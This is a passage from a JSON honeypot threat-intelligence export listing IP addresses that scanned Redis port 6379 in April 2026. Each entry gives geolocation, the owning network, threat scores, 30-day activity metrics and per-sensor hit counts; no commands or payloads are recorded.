      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 71.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 136,
        "days_active_30d": 30,
        "ports_targeted_30d": 131,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T02:51:26.076000+00:00",
        "last_seen_30d": "2026-04-30T18:15:11.293000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 136
      }
    },
    "195.184.76.157": {
      "attack_count": 5,
      "first_seen": "2026-04-23T15:46:22.000Z",
      "last_seen": "2026-04-23T15:47:24.677Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 67.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.9,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 123,
        "days_active_30d": 26,
        "ports_targeted_30d": 106,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T02:44:48.960000+00:00",
        "last_seen_30d": "2026-04-26T18:23:28.808000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 113,
        "Honeytrap": 9,
        "Dionaea": 1
      }
    },
    "198.199.77.66": {
      "attack_count": 5,
      "first_seen": "2026-04-13T15:49:14.000Z",
      "last_seen": "2026-04-13T15:50:24.086Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-13T15:50:24.086000+00:00",
        "last_seen_30d": "2026-04-13T15:50:24.086000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "216.25.89.125": {
      "attack_count": 5,
      "first_seen": "2026-04-29T03:46:54.000Z",
      "last_seen": "2026-04-29T03:48:27.884Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 42.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.4,
        "persistence": 5.0,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 6,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-24T06:18:43.724000+00:00",
        "last_seen_30d": "2026-04-29T20:54:31.626000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22
      }
    },
    "66.132.172.227": {
      "attack_count": 5,
      "first_seen": "2026-04-16T02:49:27.000Z",
      "last_seen": "2026-04-16T02:50:33.514Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 67.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 30,
        "ports_targeted_30d": 56,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T05:49:31.709000+00:00",
        "last_seen_30d": "2026-04-30T10:05:19.593000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61
      }
    },
    "77.83.240.70": {
      "attack_count": 5,
      "first_seen": "2026-04-19T19:07:56.000Z",
      "last_seen": "2026-04-19T19:09:33.176Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 94.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6371,
        "days_active_30d": 23,
        "ports_targeted_30d": 1908,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-08T23:25:05.177000+00:00",
        "last_seen_30d": "2026-04-30T06:00:04.176000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4942,
        "Honeytrap": 1193,
        "Sentrypeer": 197,
        "Miniprint": 18,
        "Adbhoney": 6,
        "Dicompot": 4,
        "Dionaea": 4,
        "Ciscoasa": 3,
        "ConPot": 3,
        "H0neytr4p": 1
      }
    },
    "8.142.178.14": {
      "attack_count": 5,
      "first_seen": "2026-04-22T22:26:23.000Z",
      "last_seen": "2026-04-22T22:27:32.103Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-22T22:27:32.103000+00:00",
        "last_seen_30d": "2026-04-22T22:27:32.103000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "80.94.92.16": {
      "attack_count": 5,
      "first_seen": "2026-04-09T03:03:34.000Z",
      "last_seen": "2026-04-09T03:04:39.296Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.1,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 819,
        "days_active_30d": 1,
        "ports_targeted_30d": 824,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-09T02:59:37.707000+00:00",
        "last_seen_30d": "2026-04-09T08:43:45.988000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 819
      }
    },
    "81.69.43.221": {
      "attack_count": 5,
      "first_seen": "2026-04-12T20:30:35.000Z",
      "last_seen": "2026-04-12T20:31:40.123Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-12T20:31:40.123000+00:00",
        "last_seen_30d": "2026-04-12T20:31:40.123000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "98.89.204.118": {
      "attack_count": 5,
      "first_seen": "2026-04-13T18:59:29.000Z",
      "last_seen": "2026-04-13T19:00:35.408Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 80.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.6,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 180,
        "days_active_30d": 28,
        "ports_targeted_30d": 79,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T02:10:34.601000+00:00",
        "last_seen_30d": "2026-04-28T19:19:39.313000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 153,
        "Honeytrap": 23,
        "ConPot": 3,
        "Dionaea": 1
      }
    },
    "157.245.251.196": {
      "attack_count": 4,
      "first_seen": "2026-04-09T01:23:00.000Z",
      "last_seen": "2026-04-09T01:24:04.781Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 1901,
        "days_active_30d": 2,
        "ports_targeted_30d": 1901,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-08T21:32:51.384000+00:00",
        "last_seen_30d": "2026-04-09T01:27:44.771000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1874,
        "Honeytrap": 26,
        "Sentrypeer": 1
      }
    },
    "184.105.139.95": {
      "attack_count": 4,
      "first_seen": "2026-04-21T14:45:22.000Z",
      "last_seen": "2026-04-21T14:46:25.086Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 58.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.5,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 20,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T05:40:04.392000+00:00",
        "last_seen_30d": "2026-04-30T06:24:31.500000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Honeytrap": 1
      }
    },
    "184.105.247.235": {
      "attack_count": 4,
      "first_seen": "2026-04-30T00:10:41.000Z",
      "last_seen": "2026-04-30T00:11:47.846Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 72.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 30,
        "ports_targeted_30d": 49,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T01:41:10.091000+00:00",
        "last_seen_30d": "2026-04-30T00:11:47.846000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 51,
        "Honeytrap": 2
      }
    },
    "34.230.221.101": {
      "attack_count": 4,
      "first_seen": "2026-04-01T19:32:00.000Z",
      "last_seen": "2026-04-01T19:33:04.683Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 76.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 24.1,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 28,
        "ports_targeted_30d": 88,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T01:48:06.855000+00:00",
        "last_seen_30d": "2026-04-28T18:51:10.316000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 230,
        "Honeytrap": 24,
        "Dionaea": 1
      }
    },
    "194.50.16.198": {
      "attack_count": 850,
      "first_seen": "2026-04-15T21:09:58.000Z",
      "last_seen": "2026-04-26T21:00:30.674Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 94.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 743993,
        "days_active_30d": 23,
        "ports_targeted_30d": 66847,
        "honeypots_triggered_30d": 20,
        "first_seen_30d": "2026-04-08T12:37:05.987000+00:00",
        "last_seen_30d": "2026-04-30T07:36:05.364000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 533738,
        "Honeytrap": 207844,
        "Cowrie": 880,
        "Mailoney": 406,
        "Dionaea": 231,
        "Sentrypeer": 204,
        "Redishoneypot": 183,
        "Adbhoney": 162,
        "ConPot": 140,
        "Dicompot": 67,
        "ElasticPot": 58,
        "Miniprint": 27,
        "Ipphoney": 16,
        "H0neytr4p": 9,
        "Medpot": 6,
        "Tanner": 6,
        "Ciscoasa": 5,
        "CitrixHoneypot": 3,
        "Honeyaml": 2
      }
    },
    "45.228.8.33": {
      "attack_count": 246,
      "first_seen": "2026-04-11T20:11:56.000Z",
      "last_seen": "2026-04-23T20:01:50.149Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Serra",
      "asn": 267062,
      "as_org": "W-NET TELLECOM EIRELI ME",
      "threat_score": 72.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 12.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 318523,
        "days_active_30d": 15,
        "ports_targeted_30d": 67834,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-11T19:05:54.324000+00:00",
        "last_seen_30d": "2026-04-25T09:53:14.556000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 186652,
        "Cowrie": 76160,
        "Honeytrap": 55097,
        "Dionaea": 212,
        "ConPot": 182,
        "Dicompot": 64,
        "Redishoneypot": 54,
        "Miniprint": 39,
        "Adbhoney": 34,
        "H0neytr4p": 15,
        "Ciscoasa": 6,
        "Honeyaml": 3,
        "Tanner": 3,
        "ElasticPot": 2
      }
    },
    "114.80.35.241": {
      "attack_count": 64,
      "first_seen": "2026-04-03T23:12:13.000Z",
      "last_seen": "2026-04-28T12:58:59.571Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 36.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-03T23:13:16.523000+00:00",
        "last_seen_30d": "2026-04-28T12:58:59.571000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12
      }
    },
    "116.153.32.51": {
      "attack_count": 61,
      "first_seen": "2026-04-01T01:38:34.000Z",
      "last_seen": "2026-04-17T03:17:15.663Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 22.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T01:38:34+00:00",
        "last_seen_30d": "2026-04-17T03:17:15.663000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 18,
        "Suricata": 7
      }
    },
    "157.230.101.158": {
      "attack_count": 57,
      "first_seen": "2026-04-01T03:00:03.000Z",
      "last_seen": "2026-04-26T10:54:36.274Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T03:01:04.321000+00:00",
        "last_seen_30d": "2026-04-26T10:54:36.274000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11
      }
    },
    "184.105.139.70": {
      "attack_count": 52,
      "first_seen": "2026-04-25T14:35:38.000Z",
      "last_seen": "2026-04-27T05:06:13.238Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 96.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 420,
        "days_active_30d": 30,
        "ports_targeted_30d": 74,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-04-01T03:20:15+00:00",
        "last_seen_30d": "2026-04-30T12:46:28.252000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 259,
        "Honeytrap": 114,
        "Redishoneypot": 22,
        "H0neytr4p": 12,
        "Dionaea": 3,
        "Adbhoney": 2,
        "ConPot": 2,
        "Cowrie": 2,
        "Honeyaml": 2,
        "Ipphoney": 1,
        "Miniprint": 1
      }
    },
    "142.93.39.187": {
      "attack_count": 44,
      "first_seen": "2026-04-01T18:01:57.000Z",
      "last_seen": "2026-04-01T18:03:21.760Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.9,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 611,
        "days_active_30d": 1,
        "ports_targeted_30d": 57,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-01T18:01:57+00:00",
        "last_seen_30d": "2026-04-01T18:12:13.286000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 448,
        "Honeytrap": 97,
        "Dionaea": 22,
        "Cowrie": 17,
        "Redishoneypot": 11,
        "Ciscoasa": 8,
        "ElasticPot": 3,
        "H0neytr4p": 2,
        "Honeyaml": 2,
        "Tanner": 1
      }
    },
    "95.215.0.144": {
      "attack_count": 43,
      "first_seen": "2026-04-06T05:37:33.000Z",
      "last_seen": "2026-04-28T14:39:28.554Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 44050,
      "as_org": "Petersburg Internet Network ltd.",
      "threat_score": 96.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 463,
        "days_active_30d": 30,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-04-01T14:00:14+00:00",
        "last_seen_30d": "2026-04-30T15:03:00.036000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 320,
        "Honeytrap": 56,
        "Cowrie": 40,
        "Redishoneypot": 12,
        "Dionaea": 7,
        "ElasticPot": 6,
        "Tanner": 6,
        "Ciscoasa": 5,
        "H0neytr4p": 5,
        "Honeyaml": 4,
        "Mailoney": 2
      }
    },
    "104.248.48.89": {
      "attack_count": 40,
      "first_seen": "2026-04-11T18:19:40.000Z",
      "last_seen": "2026-04-17T09:33:27.085Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 53.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 10.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 1085,
        "days_active_30d": 12,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-08T11:29:45+00:00",
        "last_seen_30d": "2026-04-19T14:10:23.692000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 726,
        "Honeytrap": 327,
        "Redishoneypot": 16,
        "ElasticPot": 9,
        "Dionaea": 7
      }
    },
    "39.108.228.106": {
      "attack_count": 40,
      "first_seen": "2026-04-29T11:54:40.000Z",
      "last_seen": "2026-04-29T11:56:47.549Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T11:54:50+00:00",
        "last_seen_30d": "2026-04-29T11:56:47.549000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 28,
        "Suricata": 3
      }
    },
    "112.124.33.87": {
      "attack_count": 39,
      "first_seen": "2026-04-17T03:06:55.000Z",
      "last_seen": "2026-04-17T03:09:14.886Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T03:07:05+00:00",
        "last_seen_30d": "2026-04-17T03:09:14.886000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 28,
        "Suricata": 2
      }
    },
    "160.119.76.43": {
      "attack_count": 39,
      "first_seen": "2026-04-20T12:25:58.000Z",
      "last_seen": "2026-04-22T15:24:14.120Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 56.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 2.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 1061,
        "days_active_30d": 3,
        "ports_targeted_30d": 96,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-04-20T12:14:46.073000+00:00",
        "last_seen_30d": "2026-04-22T15:52:18.109000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 729,
        "Honeytrap": 232,
        "Dionaea": 36,
        "Miniprint": 17,
        "Cowrie": 15,
        "ConPot": 8,
        "Redishoneypot": 8,
        "H0neytr4p": 5,
        "Honeyaml": 5,
        "Tanner": 5,
        "ElasticPot": 1
      }
    },
    "46.101.146.208": {
      "attack_count": 38,
      "first_seen": "2026-04-05T06:28:09.000Z",
      "last_seen": "2026-04-30T08:31:40.835Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 37.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-05T06:29:12.699000+00:00",
        "last_seen_30d": "2026-04-30T08:31:40.835000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7
      }
    },
    "50.232.194.55": {
      "attack_count": 37,
      "first_seen": "2026-04-04T13:46:46.000Z",
      "last_seen": "2026-04-17T20:15:35.905Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Farmington",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 20.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T13:46:47+00:00",
        "last_seen_30d": "2026-04-17T20:15:35.905000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 12,
        "Suricata": 4
      }
    },
    "71.6.134.230": {
      "attack_count": 37,
      "first_seen": "2026-04-12T07:42:03.000Z",
      "last_seen": "2026-04-22T09:37:27.564Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 90.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.6,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 291,
        "days_active_30d": 25,
        "ports_targeted_30d": 38,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-06T22:17:39.611000+00:00",
        "last_seen_30d": "2026-04-30T10:18:47.725000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 209,
        "Honeytrap": 46,
        "Miniprint": 22,
        "Redishoneypot": 12,
        "Dionaea": 1,
        "H0neytr4p": 1
      }
    },
    "125.74.55.217": {
      "attack_count": 36,
      "first_seen": "2026-04-02T16:21:29.000Z",
      "last_seen": "2026-04-28T02:35:23.821Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
